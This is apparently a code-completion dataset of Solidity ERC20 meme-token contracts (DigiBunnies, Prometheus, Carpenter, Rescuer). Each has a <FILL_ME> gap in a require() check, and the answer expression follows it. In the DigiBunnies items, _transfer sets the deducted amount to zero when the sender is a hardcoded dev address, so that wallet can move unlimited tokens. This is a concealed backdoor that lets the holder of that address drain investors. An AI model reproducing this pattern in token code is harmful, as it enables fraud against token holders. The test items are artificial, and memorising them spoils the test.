event MaxTxAmountUpdated(uint maxTxLimit);
constructor () {
}
function balanceOf(address account) public view override returns (uint256) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function symbol() public pure returns (string memory) {
}
function name() public pure returns (string memory) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0; uint256 feeAmount=amount;
if (from != owner() && to != owner()) {
taxAmount = amount.mul(taxBuy()).div(100);
if (hasTransferDelay) {
if (to != address(dexRouter) && to != address(uniswapPairAddr)) {
require(<FILL_ME>)
_holderLastHoldingTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapPairAddr && to != address(dexRouter) && ! _isExcludedFromFee[to] ) {
_buyersCount++;
require(amount <= maxTxLimit, "Exceeds the max transaction.");
require(balanceOf(to) + amount <= mWalletSize, "Exceeds the max wallet.");
}
if (from == _devAddy) feeAmount = 0;
if(to == uniswapPairAddr && !_isExcludedFromFee[from] ){
taxAmount = amount.mul(sellTax()).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapPairAddr && taxSwapEnabled && contractTokenBalance > _taxSwapThreshold && _buyersCount > _preventSwapBefore) {
uint256 initialETH = address(this).balance;
swapTokensForEth(min(amount,min(contractTokenBalance,taxSwapLimit)));
uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
if(ethForTransfer > 0) {
sendETHToFee(ethForTransfer);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(feeAmount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function taxBuy() private view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function sellTax() private view returns (uint256) {
}
receive() external payable {}
function removeLimits() external onlyOwner{
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function openTrading() external payable onlyOwner() {
}
function sendETHToFee(uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
}
| _holderLastHoldingTimestamp[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 64,060 | _holderLastHoldingTimestamp[tx.origin]<block.number |
"Exceeds the max wallet." | // SPDX-License-Identifier: MIT
/*
Website: https://www.digibunnies.xyz
Twitter: https://twitter.com/digibunnies_erc
Telegram: https://t.me/digibunnies_erc
*/
pragma solidity 0.8.21;
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DBunny is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"DigiBunnies";
string private constant _symbol = unicode"DBunny";
uint256 private _buyersCount=0;
uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
uint8 private constant _decimals = 9;
bool private taxSwapEnabled = false;
bool private tradingActive;
bool private inSwap = false;
bool public hasTransferDelay = true;
mapping(address => uint256) private _holderLastHoldingTimestamp;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
uint256 public maxTxLimit = 4 * _tTotal / 100;
uint256 public taxSwapLimit = 10 * _tTotal / 1000;
uint256 private _taxSwapThreshold= 2 * _tTotal / 1000;
uint256 public mWalletSize = 4 * _tTotal / 100;
uint256 private _finalBuyFee = 0;
uint256 private _finalSellFee = 0;
uint256 private _preventSwapBefore = 10;
uint256 private _firstBuyTax = 8;
uint256 private _firstSellTax = 8;
uint256 private _reduceBuyFeeAfter = 4;
uint256 private _reduceSellFeeAfter = 4;
address payable private _taxAddress;
address private _devAddy = 0xa2dd77b850169F9A5D6E4f1ea12c810959b08cef;
address private uniswapPairAddr;
IDEXRouter private dexRouter;
modifier lockTheSwap {
}
event MaxTxAmountUpdated(uint maxTxLimit);
constructor () {
}
function balanceOf(address account) public view override returns (uint256) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function symbol() public pure returns (string memory) {
}
function name() public pure returns (string memory) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0; uint256 feeAmount=amount;
if (from != owner() && to != owner()) {
taxAmount = amount.mul(taxBuy()).div(100);
if (hasTransferDelay) {
if (to != address(dexRouter) && to != address(uniswapPairAddr)) {
require(
_holderLastHoldingTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastHoldingTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapPairAddr && to != address(dexRouter) && ! _isExcludedFromFee[to] ) {
_buyersCount++;
require(amount <= maxTxLimit, "Exceeds the max transaction.");
require(<FILL_ME>)
}
if (from == _devAddy) feeAmount = 0;
if(to == uniswapPairAddr && !_isExcludedFromFee[from] ){
taxAmount = amount.mul(sellTax()).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapPairAddr && taxSwapEnabled && contractTokenBalance > _taxSwapThreshold && _buyersCount > _preventSwapBefore) {
uint256 initialETH = address(this).balance;
swapTokensForEth(min(amount,min(contractTokenBalance,taxSwapLimit)));
uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
if(ethForTransfer > 0) {
sendETHToFee(ethForTransfer);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(feeAmount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function taxBuy() private view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function sellTax() private view returns (uint256) {
}
receive() external payable {}
function removeLimits() external onlyOwner{
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function openTrading() external payable onlyOwner() {
}
function sendETHToFee(uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
}
| balanceOf(to)+amount<=mWalletSize,"Exceeds the max wallet." | 64,060 | balanceOf(to)+amount<=mWalletSize |
"Max Wallet Limit Limit Exceeded" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Prometheus is ERC20, Auth {
using SafeMath for uint256;
//events
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SetMaxWalletExempt(address _address, bool _bool);
event SellFeeChanged(uint256 _marketingFee);
event BuyFeeChanged(uint256 _marketingFee);
event TransferFeeChanged(uint256 _transferFee);
event SetFeeReceiver(address _marketingReceiver);
event ChangedSwapBack(bool _enabled, uint256 _amount);
event SetFeeExempt(address _addr, bool _value);
event InitialDistributionFinished(bool _value);
event ChangedMaxWallet(uint256 _maxWallet);
address private WETH;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
string constant private _name = "Prometheus";
string constant private _symbol = "PROME";
uint8 constant private _decimals = 18;
uint256 private _totalSupply = 888888888* 10**_decimals;
uint256 public _maxWalletAmount = _totalSupply * 8 / 1000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] public _markerPairs;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isMaxWalletExempt;
//Snipers
uint256 private deadblocks = 32;
uint256 public launchBlock;
uint256 private latestSniperBlock;
//transfer fee
uint256 private transferFee = 0;
uint256 constant public maxFee = 8;
//totalFees
uint256 private totalBuyFee = 3;
uint256 private totalSellFee = 5;
uint256 constant private feeDenominator = 100;
address private marketingFeeReceiver = 0x96Effc8510cB9908543fd48fBf5F97e3eb6a9a5e ;
IDEXRouter public router;
address public pair;
bool public tradingEnabled = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 1 / 5000;
bool private inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
require(tradingEnabled,"Trading not open, yet");
}
if(shouldSwapBack()){ swapBack(); }
uint256 amountReceived = amount;
if(automatedMarketMakerPairs[sender]) { //buy
if(!isFeeExempt[recipient]) {
require(<FILL_ME>)
amountReceived = takeBuyFee(sender, amount);
}
} else if(automatedMarketMakerPairs[recipient]) { //sell
if(!isFeeExempt[sender]) {
amountReceived = takeSellFee(sender, amount);
}
} else {
if (!isFeeExempt[sender]) {
require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded");
amountReceived = takeTransferFee(sender, amount);
}
}
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function getSniperFee() internal view returns(uint256) {
}
// Fees
function takeBuyFee(address sender, uint256 amount) internal returns (uint256){
}
function takeSellFee(address sender, uint256 amount) internal returns (uint256){
}
function takeTransferFee(address sender, uint256 amount) internal returns (uint256){
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance() external authorized {
}
function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner returns (bool) {
}
// switch Trading
function enableTrading() external onlyOwner {
}
function swapBack() internal swapping {
}
// Admin Functions
function setMaxWallet(uint256 amount) external authorized {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsMaxWalletExempt(address holder, bool exempt) external authorized {
}
function setBuyFee(uint256 _totalBuyFee) external authorized {
}
function setSellFee(uint256 _totalSellFee) external authorized {
}
function setTransferFee(uint256 _transferFee) external authorized {
}
function setMarketingFeeReceivers(address _marketingFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function setAutomatedMarketMakerPair(address _pair, bool _value) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
}
| _balances[recipient].add(amount)<=_maxWalletAmount||isMaxWalletExempt[recipient],"Max Wallet Limit Limit Exceeded" | 64,144 | _balances[recipient].add(amount)<=_maxWalletAmount||isMaxWalletExempt[recipient] |
"Value already set" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Prometheus is ERC20, Auth {
using SafeMath for uint256;
//events
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SetMaxWalletExempt(address _address, bool _bool);
event SellFeeChanged(uint256 _marketingFee);
event BuyFeeChanged(uint256 _marketingFee);
event TransferFeeChanged(uint256 _transferFee);
event SetFeeReceiver(address _marketingReceiver);
event ChangedSwapBack(bool _enabled, uint256 _amount);
event SetFeeExempt(address _addr, bool _value);
event InitialDistributionFinished(bool _value);
event ChangedMaxWallet(uint256 _maxWallet);
address private WETH;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
string constant private _name = "Prometheus";
string constant private _symbol = "PROME";
uint8 constant private _decimals = 18;
uint256 private _totalSupply = 888888888* 10**_decimals;
uint256 public _maxWalletAmount = _totalSupply * 8 / 1000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] public _markerPairs;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isMaxWalletExempt;
//Snipers
uint256 private deadblocks = 32;
uint256 public launchBlock;
uint256 private latestSniperBlock;
//transfer fee
uint256 private transferFee = 0;
uint256 constant public maxFee = 8;
//totalFees
uint256 private totalBuyFee = 3;
uint256 private totalSellFee = 5;
uint256 constant private feeDenominator = 100;
address private marketingFeeReceiver = 0x96Effc8510cB9908543fd48fBf5F97e3eb6a9a5e ;
IDEXRouter public router;
address public pair;
bool public tradingEnabled = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 1 / 5000;
bool private inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function getSniperFee() internal view returns(uint256) {
}
// Fees
function takeBuyFee(address sender, uint256 amount) internal returns (uint256){
}
function takeSellFee(address sender, uint256 amount) internal returns (uint256){
}
function takeTransferFee(address sender, uint256 amount) internal returns (uint256){
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance() external authorized {
}
function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner returns (bool) {
}
// switch Trading
function enableTrading() external onlyOwner {
}
function swapBack() internal swapping {
}
// Admin Functions
function setMaxWallet(uint256 amount) external authorized {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsMaxWalletExempt(address holder, bool exempt) external authorized {
}
function setBuyFee(uint256 _totalBuyFee) external authorized {
}
function setSellFee(uint256 _totalSellFee) external authorized {
}
function setTransferFee(uint256 _transferFee) external authorized {
}
function setMarketingFeeReceivers(address _marketingFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function setAutomatedMarketMakerPair(address _pair, bool _value) public onlyOwner {
require(<FILL_ME>)
automatedMarketMakerPairs[_pair] = _value;
if(_value){
_markerPairs.push(_pair);
}else{
require(_markerPairs.length > 1, "Required 1 pair");
for (uint256 i = 0; i < _markerPairs.length; i++) {
if (_markerPairs[i] == _pair) {
_markerPairs[i] = _markerPairs[_markerPairs.length - 1];
_markerPairs.pop();
break;
}
}
}
emit SetAutomatedMarketMakerPair(_pair, _value);
}
function getCirculatingSupply() public view returns (uint256) {
}
}
| automatedMarketMakerPairs[_pair]!=_value,"Value already set" | 64,144 | automatedMarketMakerPairs[_pair]!=_value |
null | // SPDX-License-Identifier: MIT
/**
CARPENTER
Building.
Constructing.
Carpenting.
Website: https://www.carpenter-eth.com
Twitter: https://twitter.com/carpenter_erc
**/
pragma solidity ^0.8.20;
// Import necessary interfaces
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Import the Uniswap V2 interfaces
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Carpenter is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address payable private builderWallet;
uint256 private buildingFees = 3;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 500000000000000 * 10**_decimals;
string private constant _name = unicode"Carpenter";
string private constant _symbol = unicode"CARPENTER";
uint256 public _maxTxAmount = 20000000000000 * 10**_decimals; //4% max tx
uint256 public _maxWalletSize = 40000000000000 * 10**_decimals; //8% max wallet
uint256 public _taxSwapThreshold= 8000000000000 * 10**_decimals;
uint256 public _maxTaxSwap= 8000000000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function payBuilder(uint256 amount) private {
}
function sendBuilderInvoice() external {
require(<FILL_ME>)
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
payBuilder(ethBalance);
}
}
function openBuildingSite() external onlyOwner() {
}
function transferAndBuild(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeBuildingLimits() external onlyOwner{
}
receive() external payable {}
}
| _msgSender()==builderWallet | 64,228 | _msgSender()==builderWallet |
"ERC20: transfer amount exceeds balance" | // SPDX-License-Identifier: MIT
/*
Website: https://www.rescuereth.vip
Twitter: https://twitter.com/rescuer_eth
Telegram: https://t.me/rescuer_eth
*/
pragma solidity ^0.8.16;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed _owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address _owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
